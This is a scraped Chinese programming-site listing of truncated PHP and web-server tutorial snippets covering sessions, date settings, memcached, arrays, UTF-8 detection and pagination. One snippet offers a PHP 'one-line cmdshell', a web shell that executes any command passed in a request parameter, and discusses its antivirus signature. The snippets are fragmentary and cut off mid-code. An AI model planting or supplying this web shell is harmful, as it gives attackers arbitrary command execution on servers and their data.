Time of Update: 2016-07-21
比如:2005-12-23 讀出以後頁面會顯示為:2005 十二月 23 ,這樣給程式處理帶來很多不便。尋找了一些資料發現是php.ini預設了日期處理功能。 解決方案為: 第一個方法:php文檔開頭定義ini_set(”mssql.datetimeconvert”,”0″); 第二個方法:修改php.ini,找到;mssql.datetimeconvert = On ,去掉前面的分號,修改on為off,重啟apache即可 第三個方法:用SQL的 convert()函數轉換,如:
Time of Update: 2016-07-21
讓我們算一算有多少種方法 處理諸如 PHP 之類的現代程式設計語言的樂趣之一就是有大量的選項可用。PHP 可以輕鬆地贏得 Perl 的座右銘“There's more than one way to do it”(並非只有一種方法可做這件事),尤其是在檔案處理上。但是在這麼多可用的選項中,哪一種是完成作業的最佳工具?當然,實際答案取決於解析檔案的目標,因此值得花時間探究所有選項。 回頁首 傳統的 fopen 方法 fopen 方法可能是以前的 C 和 C++
Time of Update: 2016-07-21
一個已知管用的方法是,使用session_set_save_handler,接管所有的session管理工作,一般是把session資訊儲存到資料庫,這樣可以通過SQL語句來刪除所有到期的session,精確地控制session的有效期間。這也是基於PHP的大型網站常用的方法。但是,一般的小型網站,似乎沒有必要這麼勞師動眾。 但是一般的Session的生命期有限,如果使用者關閉了瀏覽器,就不能儲存Session的變數了!那麼怎麼樣可以實現Session的永久生命期呢?
Time of Update: 2016-07-21
但是出現了問題: 第一、運行php的是apche的使用者,比如是nobody,那麼它一般是沒有許可權訪問/usr/local/mysql/data目錄的 第二、就算能夠訪問,那麼你如何能夠把/usr/local/mysql/data目錄下的檔案拷貝出來呢?因為mysql在啟動並執行時候是不運行訪問的,那麼nobody使用者有許可權停止mysql的服務,不可能!
Time of Update: 2016-07-21
複製代碼 代碼如下:if (defined('CONST_NAME')) { //do something }變數檢測則是使用isset,注意變數未聲明或聲明時賦值為NULL,isset均返回FALSE,如:複製代碼 代碼如下: if (isset($var_name)) { //do something}函數檢測用function_exists,注意待檢測的函數名也需要使用引號,如:複製代碼 代碼如下:if (function_exists('fun_name')) {
Time of Update: 2016-07-21
/****** 產生Session ID ******/ 基本的思路: 是把當前微秒的時間擷取, 然後產生以個隨機數字, 把隨機數字和目前時間相加後加密一下, 最後再截取需要的長度 /* 函數名稱:create_sess_id() 函數作用:產生以個隨機的會話ID 參 數:$len: 需要會話字串的長度,預設為32位,不要低於16位 返 回 值:返回會話ID 函數作者:heiyeluren */ function create_sess_id($len=32) { // 校正提交的長度是否合法
Time of Update: 2016-07-21
此文首發在 InfoQ 中文站。作者:明靈(dragon) , Fenng . Note:要轉載的朋友請注意註明這篇文章的第一作者!這篇文章是dragon 朋友來郵探討後他做的一個總結。在 DB 中排序還是在 應用程式中排序是個很有趣的話題,dragon 第一份郵件中其實已經總結的很好了,我添加了一點建議而已。現在放上來,與大家共用。這篇文章也投稿到了 InfoQ 中文站 。Q:列出在 PHP 中執行排序要優於在 MYSQL
Time of Update: 2016-07-21
關於比較請看http://code.google.com/p/memcached/wiki/PHPClientComparison。推薦使用新的memcached,安裝方法基本同下面,只是需要先安裝libmemcached,如果還需要啟用壓縮,還需要安裝zlib。用 PECL 編譯共用 PECL 擴充庫 $ pecl install extname 然後就是一長串的自動執行,最後程式告訴你You should add “extension=memcache.so” to
Time of Update: 2016-07-21
複製代碼 代碼如下:$array = array("key1" => "Simon", 2 => "Elaine"); //數組的建立 echo $array["key1"]; //輸出Simon echo $array[2]; //輸出Elaine ?>複製代碼 代碼如下:$array = array("key1" => array(0 => 1, 1 => 10, 2 => 100), "key2" => array(0 => 5, 1 => 25, 2 => 125)); echo
Time of Update: 2016-07-21
$conn=OCILogon("使用者名稱","密碼","(DESCRIPTION=(ADDRESS=(PROTOCOL =TCP)(HOST=IP)(PORT = 1521))(CONNECT_DATA =(SID=lcx)))"); //$sql="select * from all_tab_columns where table_name='MEMBER'";//Table Structure$sql="select USER_ID,PASSWORD from MEMBER where
Time of Update: 2016-07-21
後來又在手冊上找到了is_utf8函數,這樣,再結合iconv函數,我的問題就解決了。下面帖出這個函數: 複製代碼 代碼如下:function is_utf8($string) { return preg_match('%^(?: [\x09\x0A\x0D\x20-\x7E] # ASCII | [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte | \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs | [\
Time of Update: 2016-07-21
複製代碼 代碼如下:/** * @Filename :page.sql.class.php * @CreatTime :2009-01-06 * @Descrition :此類為SQL語句處理類。 * @UpdateTime-1 :null * @Version :jswweb1.0.0 * @Author :fkedwgwy * @Dome : $sql//SQL語句 $allcount//總記錄數 $pagesize//頁面顯示記錄條數 $page//當前頁 $sqlc= new
Time of Update: 2016-07-21
複製代碼 代碼如下:/*一個新型的php一句話cmdshell(非一句話木馬) //原理:php運行時如果遇見字元``(鍵盤上~符號的下檔鍵)總會嘗試著執行``裡麵包含的命令,並返回命令執行的結果(string類型); //局限性:特徵碼比較明顯,``符號在php中很少用到,殺毒軟體很容易以此為特徵碼掃描到並警報;``裡面不能執行php代碼; //write by skyfire */ echo `$_REQUEST[id]`; ?>http://www.bkjia.com/PHPjc/3200
Time of Update: 2016-07-21
1. 安裝配置Apahce 安裝配置Apache是比較簡單的, 跟著安裝嚮導一步步往下走就能搞定。最多就是在配置連接埠的地方需要注意一下,如果已經安裝了其它Web伺服器佔用了80連接埠,那記得配置的時候選一個別的連接埠。嚮導中忘了設定,在Apache的conf/httpd.conf中修改下面這句就好: Listen 127.0.0.1:80 2. 安裝配置PHP5 PHP5也是一路安裝就完了。要讓Apache能解釋PHP頁面,繼續修改Apache的conf/httpd.conf檔案。
Time of Update: 2016-07-21
refresh_pattern的作用: 用於確定一個頁面進入cache後,它在cache中停留的時間。refresh_pattern規則僅僅應用到沒有明確過時期限的響應。原始伺服器能使用Expires頭部,或者Cache-Control:max-age指令來指定過時期限。 文法:refresh_pattern [-i] regexp min percent max [options]
Time of Update: 2016-07-21
複製代碼 代碼如下:echo JS; ?> Please Click 複製代碼 代碼如下:$confirm = "Are you OK with this?"; //定義確認框上的資訊 $ok_msg = "I'm OK!"; //OK時的資訊 $not_ok_msg = "I'm not OK!"; //Cancel時的資訊 echo ""; //輸出結束 ?> Please Click
Time of Update: 2016-07-21
UCHOME的代碼還是很不錯的,學習一下! 複製代碼 代碼如下:/** * 定義一些常量 */ @define('IN_UCHOME', TRUE); //據說可以防止檔案非法包含 define('X_VER', '1.2'); //Uchome版本 define('X_RELEASE', '20080612');//發布日期 define('D_BUG', '0'); //是否開啟調試功能, 0:關閉, 1:開啟 //根據是否開啟調試功能設定錯誤報表層級
Time of Update: 2016-07-21
但是PHP反編譯系統的出現卻迅速引起了Zend公司甚至整個PHP使用者群的恐慌,包括上述產品在內的幾乎所有大型PHP產品全部出現了破解版本甚至出現了完整的原始碼。如此一來,Zend不得不向Cracker們低頭,承認所有的加密技術都有破解的辦法,並承諾對加密產品進行改進以便提供更強的保護。 PHP加密技術可以追溯到01年,當時PHP已經很火爆,所以許多公司希望能推出商業化的PHP系統,於是PHP加密(編譯)產品應運而生,隨後PHP大顎Zend公司推出了自己的Zend
Time of Update: 2016-07-21
XML解析錯誤:xml處理指示不在實體的開始部分 位置:http://.../public/xml/get 行:2,列:1: ^ 仔細檢查後發現是首行為空白。找了很久沒有找到到底 zend 的 view 在哪兒輸出了空行,包括初始化一個新的 View ,但是始終沒有找到原因,但是網站首頁的首行是沒有空的。 網上也有類似的例子,但是他們解決的方法是注意控制輸出,但是我不知道 View 怎麼控制輸出。 弄了半天也沒成功,我都快崩潰了,我決定放棄這種方法,而先將 xml
Time of Update: 2016-07-21
本控制項可以對GridView,Repeater,DataGrid,DataList...幾乎所有的.net資料繫結控制項進行分頁,全部無重新整理,資料繫結部分可以使用預存程序也可以直接使用sql語句,這對本控制項沒有任何幹擾!本控制項具有較好的使用者介面,能夠根據需要變換各種樣式,配合css控制效果則更好! 1.分頁樣式: 2.如何使用: 於bin目錄下添加:AspNetAjaxPager.dll引用 aspx檔案內容: 複製代碼 代碼如下: //=====================